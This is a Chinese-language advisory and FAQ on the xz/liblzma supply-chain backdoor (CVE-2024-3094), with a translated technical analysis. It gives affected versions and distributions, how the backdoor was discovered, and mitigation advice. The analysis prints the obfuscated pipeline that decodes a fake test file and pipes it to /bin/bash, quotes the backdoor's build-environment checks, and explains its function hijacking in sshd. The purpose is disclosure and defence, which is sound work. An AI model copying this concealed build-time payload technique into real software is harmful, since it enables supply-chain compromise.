描述

Xz/liblzma是什么？（XZ Utils）

xz是一种通用的数据压缩格式，几乎存在于每个Linux发行版中，无论是社区项目还是商业产品发行版。本质上，它有助于将大型文件格式压缩（然后解压缩）成较小、更易于管理的尺寸，以便通过文件传输共享。

从5.6.0版本开始，在xz的上游tarball包中发现了恶意代码。通过一系列复杂的混淆手段，liblzma的构建过程从伪装成测试文件的源代码中提取出预构建的目标文件，然后用它来修改liblzma代码中的特定函数。这导致生成了一个被修改过的liblzma库，任何链接此库的软件都可能使用它，从而拦截并修改与此库的数据交互。

xz 5.6.0和5.6.1版本库中存在的恶意注入只包含在tarball下载包中。Git发行版中缺少触发恶意代码构建的M4宏。注入期间构建时使用的第二阶段工件存在于Git存储库中，以防存在恶意的M4宏。如果不合并到构建中，第二阶段文件是无害的。在发现者的演示中，发现它干扰了OpenSSH守护进程。虽然OpenSSH没有直接链接到liblzma库，但它以一种使其暴露于恶意软件的方式与systemd通信，因为systemd链接到了liblzma。

恶意构建会通过systemd干扰sshd的认证。SSH是一种常用的协议，用于远程连接系统，而sshd是允许访问的服务。在适当的情况下，这种干扰有可能使恶意行为体破坏sshd认证，并远程未经授权访问整个系统。

这个后门是如何被发现的?

3月29日，微软PostgreSQL开发人员Andres Freund在调查SSH性能问题时，在开源安全邮件列表中发帖称，他在XZ软件包中发现了一个涉及混淆恶意代码的供应链攻击。据Freund和RedHat称，Git版的XZ中没有恶意代码，只有完整下载包中存在。

哪些版本的库受到影响?

根据Freund的说法，XZ Utils 5.6.0和5.6.1版本受到影响。 

这个后门代码是否被利用过?

截至3月29日，尚未观察到利用此后门代码的情况。由于情况仍在发展，我们预计未来几天和几周内会有更多信息曝光。一旦有相关信息，我们会更新此FAQ部分。

这个问题有CVE编号吗?

是的，Red Hat为此问题分配了CVE-2024-3094，并给出了10.0的CVSSv3评分。

这个后门是如何插入代码的?  

截至本博客发布时，尚不清楚这个后门代码是如何被放入受影响的XZ utils构建中的。根据Freund的说法，做出代码提交的人可能直接参与了XZ项目，或者他们的系统或开发者账号被入侵了。

是否有补丁或缓解措施?

建议XZ Utils的开发人员和用户降级到已知不受影响的XZ Utils版本，例如5.4.6 Stable。但除了降级之外，还强烈建议开发者和用户进行事件响应，以确定他们是否受到此后门的影响，并与网络安全和基础设施安全局(CISA)等机构分享"阳性发现"。可以通过运行'xz -V'或'xz –version'命令来检查安装的版本。

哪些Linux发行版受到影响?

截至3月30日本文发布时，已知以下发行版受到影响:

发行版 公告 备注

Fedora Rawhide https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users Fedora Rawhide是Fedora Linux的开发版本

Fedora 41 https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

Debian testing、unstable和 experimental版 5.5.1alpha-0.1到5.6.1-1 https://lists.debian.org/debian-security-announce/2024/msg00057.html 

Ubuntu 24.04 LTS

2024年3月28日，Ubuntu注意到一个上游的漏洞影响了xz-utils源代码包。受影响的库已经从我们的Ubuntu 24.04 LTS预发布构建中移除。我们将继续进行进一步调查。感谢社区成员在我们理解这个问题方面的合作。

https://discourse.ubuntu.com/t/xz-liblzma-security-update/43714

以下Linux发行版已确认不受影响:

发行版 公告 备注

Fedora Linux 40 https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users RedHat建议用户降级到5.4版XZ作为预防措施

红帽企业版Linux(RHEL)  https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users 所有RHEL版本均不受影响

Debian https://lists.debian.org/debian-security-announce/2024/msg00057.html 所有Debian稳定版均未知受影响

xz软件包中发现后门的详细分析报告

xz上游tarball包和Git仓库代码被植入后门。这个后门影响了xz 5.6.0和5.6.1版本。

==被污染的发布tarball包==

后门的一部分仅存在于发布的tarball包中。比如这行代码被植入 m4/build-to-host.m4 文件:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63  

但该行在xz的Git仓库源码中并不存在。这行代码会在configure结束时执行一段经过混淆的脚本,该脚本隐藏在仓库中一些"测试"用的.xz文件里。

如果满足某些条件,该脚本会修改 $builddir/src/liblzma/Makefile ,插入一些sed命令,最终执行效果如下:

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

去掉混淆后可以看到它会执行一个bash脚本(见附件injected.txt)。

==被污染的代码仓库==  

后门的主要文件以混淆形式存在于: 

tests/files/bad-3-corrupt_lzma2.xz

tests/files/good-large_compressed.lzma 

但在5.6.0版本这两个文件甚至都没有用于任何"测试"。

代码提交者要么直接参与其中,要么他们的系统受到了严重入侵。后一种看起来可能性较小,因为他们在各种邮件列表讨论了之后的一些"修复"。

==受影响的系统==

附件中的去混淆脚本在configure之后首先被调用,它会决定是否修改构建过程植入后门代码。

它只针对x86-64 Linux系统:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

要求用gcc和gnu linker构建:

if test "x$GCC" != 'xyes' > /dev/null 2>&1;then 

exit 0

fi

if test "x$CC" != 'xgcc' > /dev/null 2>&1;then

exit 0  

fi

LDv=$LD" -v"

if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then

exit 0

并且是作为debian或RPM包构建的一部分:  

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

考虑到注入代码的工作方式,后门可能只能在基于glibc的系统上使用。

幸运的是,xz 5.6.0和5.6.1尚未被Linux发行版广泛集成,即便集成也大多是预发布版本。

==在openssh服务器上观察到的影响==

安装了被污染的liblzma后,通过ssh登录会变得非常慢。

openssh并没有直接使用liblzma。但debian等发行版给openssh打了支持systemd通知的补丁,而libsystemd依赖lzma。  

最初在systemd之外启动sshd并未表现出速度减慢,尽管后门代码被短暂调用。这可能是为了让分析更加困难而采取的对策。

后门代码执行需要满足:

a) 未设置TERM环境变量 

b) argv[0]需要是/usr/sbin/sshd

c) 未设置LD_DEBUG,LD_PROFILE

d) 需要设置LANG

e) 某些调试环境如rr会被检测到。有时gdb也会被发现,但并非总是如此

==分析注入的代码==

我对注入代码的详细分析见原文,这里简单总结:

后门最初通过替换crc32_resolve(),crc64_resolve()的ifunc解析器来拦截执行,转而调用注入的_get_cpuid()函数。 

在第二次调用crc64_resolve()时,后门代码会找到动态链接器信息、程序参数和环境变量,然后执行各种环境检查。

如果决定继续,代码会解析内存中的符号表。这是导致我注意到问题的非常慢的步骤。

值得注意的是,liblzma的符号在其他大多数库之前就被解析了,包括主sshd二进制文件中的符号。这很重要,因为一旦符号被解析,GOT就会被重新映射为只读。  

为了能够解析尚未加载的库中的符号,后门在动态链接器中安装了一个审计钩子,可以用gdb观察:

watch _rtld_global_ro._dl_naudit

当解析到"[email protected]"符号时,后门会将[email protected]的值更改为指向自己的代码。然后它又卸载了审计钩子。

此时之所以可以更改got.plt内容,是因为它还没有(也不能)被重新映射为只读。

==对sshd的影响==

前一节解释了[email protected]被重定向指向后门代码。在我分析的跟踪中,确实显示在pubkey登录期间调用了后门代码。

后门随后回调libcrypto,大概是执行正常的身份验证。

我尚未详细分析后门代码检查什么来允许未授权访问。但由于这是在身份验证之前运行的,似乎可能允许某种形式的访问或远程代码执行。

建议尽快升级任何可能存在漏洞的系统。

==漏洞报告==

鉴于上游可能直接参与其中,我没有上报上游bug。最初我以为这是debian特有的问题,向[email protected]发送了初步报告。随后我向distros@进行了报告,CISA也被某发行版通知了。

Red Hat为此问题分配了CVE-2024-3094编号。  

==检测系统是否存在漏洞==

Vegard Nossum编写了一个脚本来检测系统上的ssh二进制文件是否可能存在漏洞,见附件。

参考资料：

https://www.openwall.com/lists/oss-security/2024/03/29/4

https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

https://access.redhat.com/security/cve/CVE-2024-3094